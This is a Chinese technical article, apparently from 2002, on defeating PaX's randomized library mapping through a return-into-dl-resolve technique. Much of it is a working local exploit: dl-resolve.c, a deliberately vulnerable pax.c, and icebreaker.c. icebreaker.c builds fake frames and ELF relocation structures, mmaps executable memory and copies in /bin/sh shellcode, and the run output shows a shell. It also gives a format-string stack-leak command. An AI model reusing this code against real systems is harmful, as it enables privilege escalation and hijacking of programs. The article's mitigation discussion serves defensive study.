绕过Pax内核补丁保护的方法浅析(下)---高级的return-into-lib(c) exploits技术

/ns/hk/hacker/data/20020813014159.htm

绕过Pax内核补丁保护的方法浅析(下)---高级的return-into-lib(c) exploits技术

Author: alert7
Email: alert7@whitecell.org
Homepage:http://www.whitecell.org


测试环境 6.2默认安装 内核2.4.16 + PaX
gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)


★★ 随机mmap()base特性

为了抵抗return-into-lib(c) 的exploit技术,随机mmap()base特性被加到了pax中。
假如在配置kernel的时候CONFIG_PAX_RANDMMAP选项被设置,装载进的library将被mmaped
到随机的地址。第一个library将被mmapped到0x40000000+random*4k,
堆栈顶现在就会变成 0xc0000000-random*16;不管是哪种情况下, "random"是一个
unsigned 16-bit integer的伪随机数。是通过get_random_bytes()调用获得(
它是强加密数据)

[alert7@redhat62 phrack-nergal]$ ash
$ cat /proc/$$/maps
08048000-08057000 r-xp 00000000 03:05 357756 /bin/ash
08057000-08058000 rw-p 0000e000 03:05 357756 /bin/ash
08058000-0805b000 rw-p 00000000 00:00 0
4a2a8000-4a2bb000 r-xp 00000000 03:05 422661 /lib/ld-2.1.3.so
4a2bb000-4a2bc000 rw-p 00012000 03:05 422661 /lib/ld-2.1.3.so
4a2bc000-4a2bd000 rw-p 00000000 00:00 0
4a2c0000-4a3ad000 r-xp 00000000 03:05 422668 /lib/libc-2.1.3.so
4a3ad000-4a3b1000 rw-p 000ec000 03:05 422668 /lib/libc-2.1.3.so
4a3b1000-4a3b5000 rw-p 00000000 00:00 0
bff7c000-bff7f000 rw-p ffffe000 00:00 0
$ exit
[alert7@redhat62 phrack-nergal]$ ash
$ cat /proc/$$/maps
08048000-08057000 r-xp 00000000 03:05 357756 /bin/ash
08057000-08058000 rw-p 0000e000 03:05 357756 /bin/ash
08058000-0805b000 rw-p 00000000 00:00 0
4e110000-4e123000 r-xp 00000000 03:05 422661 /lib/ld-2.1.3.so
4e123000-4e124000 rw-p 00012000 03:05 422661 /lib/ld-2.1.3.so
4e124000-4e125000 rw-p 00000000 00:00 0
4e128000-4e215000 r-xp 00000000 03:05 422668 /lib/libc-2.1.3.so
4e215000-4e219000 rw-p 000ec000 03:05 422668 /lib/libc-2.1.3.so
4e219000-4e21d000 rw-p 00000000 00:00 0
bfff0000-bfff3000 rw-p ffffe000 00:00 0

CONFIG_PAX_RANDMMAP特性使简单的返回到library是不可能的。那些库每次加栽的时候
装载的基地址都是不同的。这样一来,我们前面的三个exploit都会失败。

但也有几个弱点:

一:
在local exploit的情况下,libraries和stack被mmap到地址是可以从
/proc/pid_of_attacked_process/maps pseudofile获得的。
假如我们构造的playload是victim进程启动后传入victim的。那么
我们就可以知道所有构造overflow数据所需要的信息。
例如,假如overflow的数据来自程序的参数或者是环境变量,local攻击者就会失败。
但是假如overflowing数据来自一些I/O操作(socket,读文件),local攻击者就会胜利。
解决的办法是:象许多安全补丁那样,限制访问/proc下的文件。

二:
我们可以暴力猜测那些被mmap到的基地址。通常,猜测libc基地址是可行的。经过上万次的试探,
攻击者猜测对的可能性很大。
解决的办法:依靠segvguard[8].它是一个守护进程它将注意到kernel递送给进程的SIGSEGV
或者其他相似的信号。Segvguard能临时阻止进程的运行(这样就可以防止暴力破解)并且还
有一些另人感兴趣的特性。

三:
关于library和stack的基地址的这些信息会被format string bug泄露出来。
例如,wuftpd vuln的情况,使用如下命令可以泄露stack中的信息。
site exec [eat stack]%x.%x.%x...
那些存在于stack中的自动变量指针将显示stack的基地址。动态连接器和libc的startup例程
会在stack留下一些指向library objects的指针(还有返回地址),所以,这样可能会
被推算出libraries装载的基地址。

四:
有时候,我们可以直接在vuln程序(非PIC并且不能随机的被mmapped)中找到一些有用的函数。
例如, su有一个函数(成功认证后会被调用),该函数获得root权限和执行一个SHELL--
我们只需要跳到这个函数地址就可以了。

五:
所有的被vuln程序使用的library函数都可以通过PLT入口来调用 。PLT一定会出现在一个固定
的地址。vuln程序通常比较大的并且调用了许多函数,所以我们可以在PLT中查找一些感兴趣的东西。

上面的五种情况或者说是方法没有一种保证能够可以成功溢出的。我们需要更好的通用方法。


在以下的章节,我们将讨论动态连接器dl-resolve()函数的接口。假如传入适当的参数(其中某个参数
保存着函数名的字符串),它将决定真正的函数的地址。从功能上看,该函数有点跟dlsym()函数相似。
使用dl-resolve()函数,我们能够再次构造一个return-into-lib的exploit.
要调用的函数的地址是未知的, [12] 也讨论了一种方法通过它的名字来获得函数的地址,但是那种
技术对我们这个是没有价值的。


★★ 动态连接器dl-resolve()函数

在看该函数之前,我们先来看看ELF的一些数据结构(include elf.h)

typedef uint32_t Elf32_Addr;
typedef uint32_t Elf32_Word;
typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;
/* How to extract and insert information held in the r_info field. */
#define ELF32_R_SYM(val) ((val) >> 8)
#define ELF32_R_TYPE(val) ((val) & 0xff)


typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility under glibc>=2.2 */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
st_size, st_info 和st_shndx在符号的解析过程是使用不到的。


使用"objdump -x file"查看动态section中的内容,有一些我们比较感兴趣的。

$ objdump -x some_executable
...
Dynamic Section:
...
STRTAB 0x80484f8 the location of string table (type char *)
SYMTAB 0x8048268 the location of symbol table (type Elf32_Sym*)
....
JMPREL 0x8048750 the location of table of relocation entries
related to PLT (type Elf32_Rel*)
...
VERSYM 0x80486a4 the location of array of version table indices
(type uint16_t*)
显示.plt section的位置。该例子中为0x08048894.
11 .plt 00000230 08048894 08048894 00000894 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE


★ PLT是如何调用dl-resolve()函数的

一个典型的PLT入口如下:

(gdb) disas some_func
Dump of assembler code for function some_func:
0x804xxx4 <some_func>: jmp *some_func_dyn_reloc_entry
0x804xxxa <some_func+6>: push $reloc_offset
0x804xxxf <some_func+11>: jmp beginning_of_.plt_section

beginning_of_.plt_section:
push GOT[1] ; word of identifying information
jmp GOT[2] ; pointer to rtld function 即dl-resolve()函数

PLT入口仅仅是在$reloc_offset变量上不同(虽然some_func_dyn_reloc_entry
的变量也不同,但是最后在符号解析算法中没有用到该变量)。

我们从glibc的源代码可以看到,dl-resolve()函数的第一个参数为reloc_offset,
第二个参数为类型为link_map *(但第二个参数在这里对我们没有关系)

1) 计算一些函数的重定位入口。
Elf32_Rel * reloc = JMPREL + reloc_offset;

typedef struct {
Elf32_Addr r_offset;
Elf32_Word r_info;
} Elf32_Rel;


2) 计算函数的符号入口
Elf32_Sym * sym = &SYMTAB[ ELF32_R_SYM (reloc->r_info) ];

3) 健壮性检查
assert (ELF32_R_TYPE(reloc->r_info) == R_386_JMP_SLOT);

4) glibc 2.1.x(2.1.92可以确定)或者其后的,包括2.2.x,还执行一些其他的检查。
假如sym->st_other & 3不等于 0,符号被认为已经是被解析过了,并且算法会走向另外一个流程(
在我们情况下,可能会触发SIGSEGV).所以我们必须确定使sym->st_other & 3 等于 0.

5) 假如符号是带版本信息的(通常是带的),我们就要决定版本表索引并且找到版本信息。
uint16_t ndx = VERSYM[ ELF32_R_SYM (reloc->r_info) ];
const struct r_found_version *version =&l->l_versions[ndx];
l是link_map类型的参数。这里有个重要的部分就是ndx必须是合法的值。一个比较合适的值是0,
那意味着是"local symbol".

6) 决定函数的名字(asciiz字符串):
name = STRTAB + sym->st_name;

7) 收集来的信息已经足够决定一个函数的地址。结果存放在两个类型为Elf32_Addr的变量中
(一个是reloc->r_offset,一个是sym->st_value.)

8) 纠正stack指针,函数被调用。

注意:在某些版本的glibc中,该算法可能是由fixup()函数执行的,而fixup()是被
dl-runtime-resolve()函数调用。


好了,介绍了上面的一些dl-resolve()函数执行过程后,我们来看看如何来构造我们的playload.

--------------------------------------------------------------------------
| buffer fill-up | .plt start | reloc_offset | ret_addr | arg1 | arg2 ...
--------------------------------------------------------------------------
^
|
- 这个32位的int应该是覆盖vuln函数的返回地址


假如我们准备适当的sym和reloc变量值(类型分别为Elf32_Sym和Elf32_Rel),并且计算
适当的reloc_offset,这样控制权将被传到函数名为(STRTAB + sym->st_name (这个字段也是我们
可以控制的))的函数中。参数arg1, arg2将被放到适当的位置,并且我们仍然有机会返回到另外的函
数中(ret_addr)。

我们先来看看dl-resolve.c,使用的就是上面讲到的技术。

[alert7@redhat62 phrack-nergal]$ cat dl-resolve.c
/* by Nergal */
#include <stdlib.h>
#include <elf.h>
#include <stdio.h>
#include <string.h>

#define STRTAB 0x804822c
#define SYMTAB 0x804816c
#define JMPREL 0x8048310
#define VERSYM 0x80482c8

#define PLT_SECTION "0x08048380"

void graceful_exit()
{
exit(123);
}

void doit(int offset)
{
int res;
__asm__ volatile ("
pushl $0x01011000
pushl $0xffffffff
pushl $0x00000032
pushl $0x00000007
pushl $0x01011000
pushl $0xaa011000
pushl %%ebx //把graceful_exit函数地址push stack,返回时就返回到这里了
pushl %%eax //把offset push stack
pushl $" PLT_SECTION "
ret"
:"=a"(res) //输出部分,res使用eax
:"0"(offset),//使用与%0同样的寄存器,也就是eax
"b"(graceful_exit)//输入部分 ,graceful_exit使用ebx
);

}

/* this must be global */
Elf32_Rel reloc;

#define ANYTHING 0xfe
#define RQSIZE 60000
int
main(int argc, char **argv)
{
unsigned int reloc_offset;
unsigned int real_index;
char symbol_name[16];
int dummy_writable_int;
char *tmp = malloc(RQSIZE);
Elf32_Sym *sym;
unsigned short *null_short = (unsigned short*) tmp;

/* create a null index into VERSYM */
*null_short = 0;

real_index = ((unsigned int) null_short - VERSYM) / sizeof(*null_short);
/* uint16_t ndx = VERSYM[ ELF32_R_SYM (reloc->r_info) ]; */
// ndx= VERSYM[real_index];
// 为了使uint16_t ndx==0;ndx(就是这里的null_short)绕过版本检查

sym = (Elf32_Sym *)(real_index * sizeof(*sym) + SYMTAB);
/* Elf32_Sym * sym = &SYMTAB[ ELF32_R_SYM (reloc->r_info) ];*/
/* #define ELF32_R_SYM(val) ((val) >> 8)*/
// 即Elf32_Sym * sym = &SYMTAB[real_index];


if ((unsigned int) sym > (unsigned int) tmp + RQSIZE) {
fprintf(stderr,
"mmap symbol entry is too far, increase RQSIZE\n");
exit(1);
}

strcpy(symbol_name, "mmap");
sym->st_name = (unsigned int) symbol_name - (unsigned int) STRTAB;//st_name是在STRTAB中的offset
/* name = STRTAB + sym->st_name; */

sym->st_value = (unsigned int) &dummy_writable_int;
sym->st_size = ANYTHING;
sym->st_info = ANYTHING;
sym->st_other = ANYTHING & ~3;
sym->st_shndx = ANYTHING;
reloc_offset = (unsigned int) (&reloc) - JMPREL;//reloc_offset是在JMPREL section的偏移量
/* Elf32_Rel * reloc = JMPREL + reloc_offset; */
//在_dl_runtime_resolve()函数中输入变量为reloc_offset
//由reloc_offset变量可以确定一个Elf32_Rel * reloc;
//由reloc.r_info又可以确定一个Elf32_Sym *sym;

reloc.r_info = R_386_JMP_SLOT + real_index*256;
// #define R_386_JMP_SLOT 7 /* Create PLT entry */
// reloc.r_info = 7 + real_index<<8;

reloc.r_offset = (unsigned int) &dummy_writable_int;

doit(reloc_offset);
printf("not reached\n");
return 0;
}

需要调整参数的,具体如何调整看附件 README.code

使用strace跟踪该进程看看到底有没有调用成功
[alert7@redhat62 phrack-nergal]$ strace ./dl-resolve
execve("./dl-resolve", ["./dl-resolve"], [/* 20 vars */]) = 0
brk(0) = 0x80497d8
.....
old_mmap(0xaa011000, 16846848, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_F
IXED|MAP_ANONYMOUS, -1, 0x1011000) = 0xaa011000
_exit(123) = ?
由上看出,mmap()和exit()两个函数已经成功调用了


★★ 击败PAX的随机mmap()base特性

为了使用以上讨论的"ret-into-dl" 技术,我们需要正确的定位一些结构的位置。
我们需要找到一个函数能够移动bytes到指定的地方的函数。显然我们会想到strcpy,
strncpy,sprintf或者是相似的函数。所以,正如[3]一样,我们需要在vuln 程序中找到
strcpy的PLT入口。

"Ret-into-dl"技术解决了随机mmapped库的问题,但是,堆栈的问题还存在。假如overflow
payload是存在stack中的,它的地址是我们无法知道的,所以我们不能使用strcpy插入一些0到堆栈。
因为我们的目的地址不知道。很不幸,Nergal没有想到通用的解决方法(其他人可以吗?)。但是,
还是有两种方法可能的:

1) 假如scanf()函数在PLT中是可用的话,我们能执行如下操作:
scanf("%s\n",fixed_location)

它将把终端的适当的payload copy到fixed_location。当我们使用"fake frames"
技术时,stack frames可以被分成一些不连续的frame,所以我们能使用fixed_location
作为frames.


2) 假如vuln程序带上 -fomit-frame-pointer编译的话,我们能够串联多次
的strcpy调用(使用"esp lifting"方法而无需关心%esp)。第n个strcpy有如下的
参数:
strcpy(fixed_location+n, a_pointer_within_program_image)

这种方法,我们能够一个字节一个字节的在fixed_location构造适当的frames.当
完成时,我们从 "esp lifting"转换到"fake frames"。

做个小节,我们将需要两个条件:
1) strcpy(或者strncpy,sprintf etc..)在PLT中可用。
2) 在一般的执行过程中,vuln程序copy用户提供的数据到static或者malloced的
变量中。


★ 构造exploit

我们将在我们的exploit中仿效dl-resove.c中的一些代码。使用mmap使内存属性为rwx
(我们将使用ret-into-dl技术调用mmap),我们将strcpy shellcode到那里。并且返回到
新拷贝得到的shellcode.我们讨论程序编译不带 -fomit-frame-pointer的情况
并且使用"frame faking"的方法。

我们需要确定三个相关的数据结构存放的位置:

1) Elf32_Rel reloc
2) Elf32_Sym sym
3) unsigned short verind (which should be 0)
如何得到 verind and sym 相关的地址呢?我们指派一个ELF32_R_SYM变量real_index
(real_index==reloc->r_info>>8);然后
sym is at SYMTAB+real_index*sizeof(Elf32_Sym)
verind is at VERSYM+real_index*sizeof(short)

一般情况下,verind会存放在.data或者.bss section的某个地方并且使用两次strcpy调用就可以
使它变成null结尾。不幸的是,在这种情况下,real_index往往是相当大。因为sizeof(Elf32_Sym)=16,
它比sizeof(short)大,sym相关的地址很有可能超过进程的数据空间。这就是为什么在dl-resolve.c
中,我们必须分配上万(RQSIZE)bytes的空间。

我们能够通过设置环境变量MALLOC_TOP_PAD_来任意扩大进程的数据空间
(记得tracertoute exploit??),但是该特性只能在local exploit中发挥作用。所以
我们必要选择更通用更合适的方法,我们将使verind更低,通常使它在只读的mmapped
空间中,所以我们在那里必须找到null short(就是0x0000,不是单一个\0).exploit将重新分配"sym"
结构到某个地址中,该地址由verind来决定。

哪里我们才能找到null short呢?首先,我们应该决定(通过查询/proc/pid/maps)
数据区可写内存的地址范围。也就是说,地址在某个范围内[low_addr,hi_addr]. 我们将
copy "sym"到那里。简单的计算告诉我们:real_index必须要在
[(low_addr-SYMTAB)/16,(hi_addr-SYMTAB)/16]之间。所以我们必须找到NULL short
在范围[VERSYM+(low_addr-SYMTAB)/8, VERSYM+(hi_addr-SYMTAB)/8]内。
找到适合的verind后,我们还需要做一些附加的检查。

1) sym的地址不能够跟我们fake frames地址交叉
2) sym的地址不能覆盖到任何的内部连接的数据(象strcpy的got入口等等)
3) 请记住:stack指针将被移到static数据区。
那里必须要有足够的空间为动态连接器程序分配stack frames.所以,最好(但不是必须的)
是把sym放到我们的fake frames之后。

一个建议:使用gdb来查找合适的null short比使用objdump -s 分析输出来的好来的方便.
后者不能显示.rodata section后面的内存部分。

icebreaker.c是pax.c的exploit的。vuln.c和pax.c之间唯一的不同就是后者拷贝环境变量
数据到一个static buffer中。

[alert7@redhat62 phrack-nergal]$ cat pax.c

#include <stdlib.h>
#include <string.h>
char spare[1024+200];//加了200个bytes,不然在我实验的环境下FRAMESINDATA为0x8049a00(包含\0)
char bigbuf[1024];

int
main(int argc, char ** argv)
{
char buf[16];
char * ptr=getenv("STR");
if (ptr) {
bigbuf[0]=0;
strncat(bigbuf, ptr, sizeof(bigbuf)-1);
}
ptr=getenv("LNG");
if (ptr)
strcpy(buf, ptr);
}

[alert7@redhat62 phrack-nergal]$ cat icebreaker.c

/* by Nergal */
#include <stdio.h>
#include <stddef.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

#define STRCPY 0x08048374 //0x08048340
#define LEAVERET 0x804842b//0x804842b
#define FRAMESINDATA 0x8049ae0//0x8049a00

#define STRTAB 0x80481f0//0x804822c//a0x8048204
#define SYMTAB 0x8048160//0x804816c//0x8048164
#define JMPREL 0x80482b4//0x8048310//0x80482f4
#define VERSYM 0x804827a//0x80482c8//0x80482a8
#define PLT 0x08048314//0x08048380//0x0804835c

#define VIND 0x8048460
/*[VERSYM+(low_addr-SYMTAB)/8, VERSYM+(hi_addr-SYMTAB)/8]*/

#define MMAP_START 0xaa011000

char hellcode[] =
"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

/*
Unfortunately, if mmap_string = "mmap", accidentaly there appears a "0" in
our payload. So, we shift the name by 1 (one 'x').
*/
#define NAME_ADD_OFF 1

char mmap_string[] = "xmmap";




struct two_arg {
unsigned int new_ebp;
unsigned int func;
unsigned int leave_ret;
unsigned int param1;
unsigned int param2;
};
struct mmap_plt_args {
unsigned int new_ebp;
unsigned int put_plt_here;
unsigned int reloc_offset;
unsigned int leave_ret;
unsigned int start;
unsigned int length;
unsigned int prot;
unsigned int flags;
unsigned int fd;
unsigned int offset;
};
struct my_elf_rel {
unsigned int r_offset;
unsigned int r_info;
};
struct my_elf_sym {
unsigned int st_name;
unsigned int st_value;
unsigned int st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* ELF spec say: No defined meaning, 0 */
unsigned short st_shndx; /* Section index */

};


struct ourbuf {
struct two_arg reloc;
struct two_arg zero[8];
struct mmap_plt_args mymmap;
struct two_arg trans;
char hell[sizeof(hellcode)];
struct my_elf_rel r;
struct my_elf_sym sym;
char mmapname[sizeof(mmap_string)];

};

struct ov {
char scratch[16];
unsigned int ebp;
unsigned int eip;
};

#define PTR_TO_NULL (VIND+1)
/* this functions prepares strcpy frame so that the strcpy call will zero
a byte at "addr"
*/
void fix_zero(struct ourbuf *b, unsigned int addr, int idx)
{
b->zero[idx].new_ebp = FRAMESINDATA +
offsetof(struct ourbuf,
zero) + sizeof(struct two_arg) * (idx + 1);
b->zero[idx].func = STRCPY;
b->zero[idx].leave_ret = LEAVERET;
b->zero[idx].param1 = addr;
b->zero[idx].param2 = PTR_TO_NULL;
}

/* this function checks if the byte at position "offset" is zero; if so,
prepare a strcpy frame to nullify it; else, prepare a strcpy frame to
nullify some secure, unused location */
void setup_zero(struct ourbuf *b, unsigned int offset, int zeronum)
{
char *ptr = (char *) b;
if (!ptr[offset]) {
fprintf(stderr, "fixing zero at %i(off=%i)\n", zeronum,
offset);
ptr[offset] = 0xff;
fix_zero(b, FRAMESINDATA + offset, zeronum);
} else
fix_zero(b, FRAMESINDATA + sizeof(struct ourbuf) + 4,
zeronum);
}

/* same as above, but prepare to nullify a byte not in our payload, but at
absolute address abs */
void setup_zero_abs(struct ourbuf *b, unsigned char *addr, int offset,
int zeronum)
{
char *ptr = (char *) b;
if (!ptr[offset]) {
fprintf(stderr, "fixing abs zero at %i(off=%i)\n", zeronum,
offset);
ptr[offset] = 0xff;
fix_zero(b, (unsigned int) addr, zeronum);
} else
fix_zero(b, FRAMESINDATA + sizeof(struct ourbuf) + 4,
zeronum);
}

int main(int argc, char **argv)
{
char lng[sizeof(struct ov) + 4 + 1];
char str[sizeof(struct ourbuf) + 4 + 1];
char *env[3] = { lng, str, 0 };
struct ourbuf thebuf;
struct ov theov;
int i;
unsigned int real_index, mysym, reloc_offset;

memset(theov.scratch, 'X', sizeof(theov.scratch));
if (argc == 2 && !strcmp("testing", argv[1])) {
for (i = 0; i < sizeof(theov.scratch); i++)
theov.scratch[i] = i + 0x10;
theov.ebp = 0x01020304;
theov.eip = 0x05060708;
} else {
theov.ebp = FRAMESINDATA;
theov.eip = LEAVERET;
}
strcpy(lng, "LNG=");
memcpy(lng + 4, &theov, sizeof(theov));
lng[4 + sizeof(theov)] = 0;

memset(&thebuf, 'A', sizeof(thebuf));
real_index = (VIND - VERSYM) / 2;
mysym = SYMTAB + 16 * real_index;
fprintf(stderr, "mysym=0x%x\n", mysym);
if (mysym > FRAMESINDATA
&& mysym < FRAMESINDATA + sizeof(struct ourbuf) + 16) {
fprintf(stderr,
"syment intersects our payload;"
" choose another VIND or FRAMESINDATA\n");
exit(1);
}

reloc_offset = FRAMESINDATA + offsetof(struct ourbuf, r) - JMPREL;

/* This strcpy call will relocate my_elf_sym from our payload to a fixed,
appropriate location (mysym)
*/
thebuf.reloc.new_ebp =
FRAMESINDATA + offsetof(struct ourbuf, zero);
thebuf.reloc.func = STRCPY;
thebuf.reloc.leave_ret = LEAVERET;
thebuf.reloc.param1 = mysym;
thebuf.reloc.param2 = FRAMESINDATA + offsetof(struct ourbuf, sym);

thebuf.mymmap.new_ebp =
FRAMESINDATA + offsetof(struct ourbuf, trans);
thebuf.mymmap.put_plt_here = PLT;
thebuf.mymmap.reloc_offset = reloc_offset;
thebuf.mymmap.leave_ret = LEAVERET;
thebuf.mymmap.start = MMAP_START;
thebuf.mymmap.length = 0x01020304;
thebuf.mymmap.prot =
0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE;
thebuf.mymmap.flags =
0x01010000 | MAP_EXECUTABLE | MAP_FIXED | MAP_PRIVATE |
MAP_ANONYMOUS;
thebuf.mymmap.fd = 0xffffffff;
thebuf.mymmap.offset = 0x01021000;

thebuf.trans.new_ebp = 0x01020304;
thebuf.trans.func = STRCPY;
thebuf.trans.leave_ret = MMAP_START + 1;
thebuf.trans.param1 = MMAP_START + 1;
thebuf.trans.param2 = FRAMESINDATA + offsetof(struct ourbuf, hell);

memset(thebuf.hell, 'x', sizeof(thebuf.hell));
memcpy(thebuf.hell, hellcode, strlen(hellcode));

thebuf.r.r_info = 7 + 256 * real_index;
thebuf.r.r_offset = FRAMESINDATA + sizeof(thebuf) + 4;
thebuf.sym.st_name =
FRAMESINDATA + offsetof(struct ourbuf, mmapname)
+ NAME_ADD_OFF- STRTAB;

thebuf.sym.st_value = FRAMESINDATA + sizeof(thebuf) + 4;
#define ANYTHING 0xfefefe80
thebuf.sym.st_size = ANYTHING;
thebuf.sym.st_info = (unsigned char) ANYTHING;
thebuf.sym.st_other = ((unsigned char) ANYTHING) & ~3;
thebuf.sym.st_shndx = (unsigned short) ANYTHING;

strcpy(thebuf.mmapname, mmap_string);

/* setup_zero[_abs] functions prepare arguments for strcpy calls, which
are to nullify certain bytes
*/
setup_zero(&thebuf,
offsetof(struct ourbuf, r) +
offsetof(struct my_elf_rel, r_info) + 2, 0);

setup_zero(&thebuf,
offsetof(struct ourbuf, r) +
offsetof(struct my_elf_rel, r_info) + 3, 1);

setup_zero_abs(&thebuf,
(char *) mysym + offsetof(struct my_elf_sym, st_name) + 2,
offsetof(struct ourbuf, sym) +
offsetof(struct my_elf_sym, st_name) + 2, 2);

setup_zero_abs(&thebuf,
(char *) mysym + offsetof(struct my_elf_sym, st_name) + 3,
offsetof(struct ourbuf, sym) +
offsetof(struct my_elf_sym, st_name) + 3, 3);

setup_zero(&thebuf,
offsetof(struct ourbuf, mymmap) +
offsetof(struct mmap_plt_args, start), 4);

setup_zero(&thebuf,
offsetof(struct ourbuf, mymmap) +
offsetof(struct mmap_plt_args, offset), 5);

setup_zero(&thebuf,
offsetof(struct ourbuf, mymmap) +
offsetof(struct mmap_plt_args, reloc_offset) + 2, 6);

setup_zero(&thebuf,
offsetof(struct ourbuf, mymmap) +
offsetof(struct mmap_plt_args, reloc_offset) + 3, 7);

strcpy(str, "STR=");
memcpy(str + 4, &thebuf, sizeof(thebuf));
str[4 + sizeof(thebuf)] = 0;
if (sizeof(struct ourbuf) + 4 >
strlen(str) + sizeof(thebuf.mmapname)) {
fprintf(stderr,
"Zeroes in the payload, sizeof=%d, len=%d, correct it !\n",
sizeof(struct ourbuf) + 4, strlen(str));
fprintf(stderr, "sizeof thebuf.mmapname=%d\n",
sizeof(thebuf.mmapname));
exit(1);
}
execle("./pax", "pax", 0, env, 0);
return 1;
}
<-->
[alert7@redhat62 phrack-nergal]$ gcc -o icebreaker icebreaker.c
[alert7@redhat62 phrack-nergal]$ ./icebreaker
mysym=0x8049090
fixing zero at 0(off=306)
fixing zero at 1(off=307)
fixing abs zero at 2(off=310)
fixing abs zero at 3(off=311)
fixing zero at 4(off=196)
fixing zero at 5(off=216)
fixing zero at 6(off=190)
fixing zero at 7(off=191)
bash$ id
uid=502(alert7) gid=502(alert7) groups=502(alert7)

经过修改一系列的参数调整(如何调整具体看附README.code),使用return_into_dl终于击败了pax :)


★ 兼容性

因为paX是为linux设计的,所以该文章的焦点也是在这个OS上。但是该技术是OS独立无关的。
stack和frame指针,c的调用风格,ELF的规范--所有的这些定义被广泛的使用着。
我们已经成功的在Solaris i386 and FreeBSD上运行了dl-resolve.c。
准确的说,mmap的第四个参数有点不同,必须被修正(就象MAP_ANON在BSD系统上有不同的值)。
在那两个OS情况下,动态连接器不关心symbol的版本,所以ret-into-dl更容易实现。


★ 其他的vuln类型

所有存在的技术都是基于stack buffer overflow的。
所有return-into-something exploits都依靠这样一个事实:我们不能只修改%eip就希望达到
成功的目的,我们也必须在stack top放置函数的参数(在返回地址后).

让我们考虑下VULN的两个大的分类:MALLOC控制结构腐烂和format string攻击。
第一种情况下,我们可以使用任意的值覆盖任意地址的int---通常,它太小而不能
绕过pax的保护。
在第二种情况下,也就是说在format string情况下,我们通常能改变任意数目大小bytes.
假如我们能覆盖任一函数的%ebp和%eip的话,我们将不在需要其他的了。但是因为
stack base是随机的,所以没有办法来确定frame的地址。

所以我们看到,在打过pax的内核上,MALLOC控制结构腐烂和format string这两种攻击将会
变的非常困难几乎是不可能的了。

***
题外话:保存着的FP(ebp)是一个指针,它可被用来做为%hn的参数。但是成功的exploit需要
三个函数返回,并且需要一个适当的本地的用户可控制的64K buffer.
***

显然,改变一些GOT入口(换句话说,仅通过%eip来获得控制)不足以逃避pax.


让我们假定有三个条件:

1) 程序被带上-fomit-frame-pointer编译
2) 有一个fl函数,它分配了一个stack的buffer, 而该buffer的内容又是可以又我们控制的
3) 这里存在一个format string bug(或者是滥用free())在函数 f2中,它被f1间接或者直接
调用。

vuln code 例子
void f2(char * buf)
{
printf(buf); // format bug here
some_libc_function();
}
void f1(char * user_controlled)
{
char buf[1024];
buf[0] = 0;
strncat(buf, user_controlled, sizeof(buf)-1);
f2(buf);
}

当f1()被调用。在错误的format string的帮助下,我们能够改变some_libc_function的GOT
入口使它指向的地址包含如下代码片段:
addl $imm, %esp
ret
也就是说,在一些函数的尾部。在这种情况下,当some_libc_function被调用时候,
"addl $imm, %esp"将纠正%esp.假如我们在结尾使用一个适当的$imm,%esp将指向buf内。
buf是可以由我们自由控制的。从以上看来,这种情况有点象stack buffer overflow。
我们使用ret_into_dl等技术把函数串起来。

另外的情况:单字节stack溢出.需要覆盖保存着的frame指针。在第二个函数返回时,
攻击着就有机会通过stack获得全部的控制权了


★ 其他non-exec的解决方案

我意识到这里有两种解决办法使在linux i386上的所有的数据区都不可执行。首先第一种是
RSX [10].然而,这种解决办法使stack不能执行指令,libraries的基地址也不是随机的,
这样的技术只需要把多次的函数调用串起来就可以了。前面我们已经讨论过了。

假如我们要执行任意的代码,一些额外的东西必须被采用。On RSX,不允许把执行代码放到
一个可写的内存区,所以 mmap(...PROT_READ|PROT_WRITE|PROT_EXEC)技术不能工作 。
但是任何的non-exec机制都必须允许从共享libraries中执行代码。在RSX这种情况下,使用
mmap(...PROT_READ|PROT_EXEC)把包含shellcode文件当作library mmap到内存中.
在远程exploit情况下,函数调用链允许我们首先创建一个这样的文件。

第二个解决办法,kNoX [11],是非常跟RSX相似。附加一点,它mmaps所有的libraries基地址为
0x00110000(就象Solar's patch那样)。正如前面讨论的,该保护也是不足的。


★ 改善已经存在的non-exec机制

不幸的是(幸运的是?),没有找到方法来修补pax,所以它对现在存在的技术是有
免疫的。毫无疑问的,ELF规范有太多的特性对攻击者来说是很有用的。当然,一些存在的
哄骗技术是不能够被阻止的。例如,为kernel打上一个补丁,使当PROT_EXEC标记存在时,
就忽略了MAP_FIXED。这样不能防止shellcode作为library被执行,却可以阻止一些存在的
exploits。但是,该fix可能仅仅对函数莲有用。

另一方面,配置pax (加上 segvguard支持)能使exploit变的更加的
困难,在某些情况下更变的不可能的。当(假如)PAX变的更加的稳定,将来它可能会被
更广泛的使用。


★ 使用的版本

I have tested the sample code with the following versions of patches:

pax-linux-2.4.16.patch
kNoX-2.2.20-pre6.tar.gz
rsx.tar.gz for kernel 2.4.5

You may test the code on any vanilla 2.4.x kernel as well. Due to some
optimisations, the code will not run on 2.2.x.


★★ 小结

为了绕过pax的保护使用的return_into_dl技术有几个不好的地方,也是无法避免的地方。
一:需要一个固定地址的buffer,也就是说或者是static的,或者是malloc出来的,因为
stack地址我们无法预测。并且需要该buffer数据是可由用户控制的。
二:一些重要的数据必须精确的得到,就象那些exploit开头定义的那些常量。比如:
#define STRCPY ...
pax给exploit带来了麻烦,同时也增加了exploit的成功率和难度。

return_into_dl的确是个很不错的技术,基本上现在可以绕过所有的基于bss/heap/stack不可
运行的linux内核补丁的保护。
一:可对抗一般的基于bss/heap/stack不可运行的linux内核补丁的保护
